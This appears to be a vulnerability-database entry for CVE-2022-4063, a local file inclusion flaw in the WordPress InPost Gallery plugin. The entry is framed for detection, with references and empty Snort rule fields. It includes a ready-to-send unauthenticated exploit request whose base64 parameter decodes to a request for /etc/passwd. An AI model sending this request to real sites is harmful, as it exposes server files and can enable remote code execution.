🔙 목록으로 돌아가기

CVE-2022-4063: WordPress InPost Gallery <2.1.4.1 - Local File Inclusion

TitleWordPress InPost Gallery <2.1.4.1 - Local File Inclusion
Authortheamanrawat
SeverityCritical
ImpactThe vulnerability allows an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.
RemediationFixed in version 2.1.4.1.
CVSS Score9.8
EPSS Score0.90722
CVE IDCVE-2022-4063
CWE IDCWE-22
Tags cve2022 cve wp-plugin wp inpost-gallery lfi wordpress unauth wpscan pluginus vkev vuln

🔍 Vulnerability Description

WordPress InPost Gallery plugin before 2.1.4.1 is susceptible to local file inclusion. The plugin insecurely uses PHP’s extract() function when rendering HTML views, which can allow attackers to force inclusion of malicious files and URLs. This, in turn, can enable them to execute code remotely on servers.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ== HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4063.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4063.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A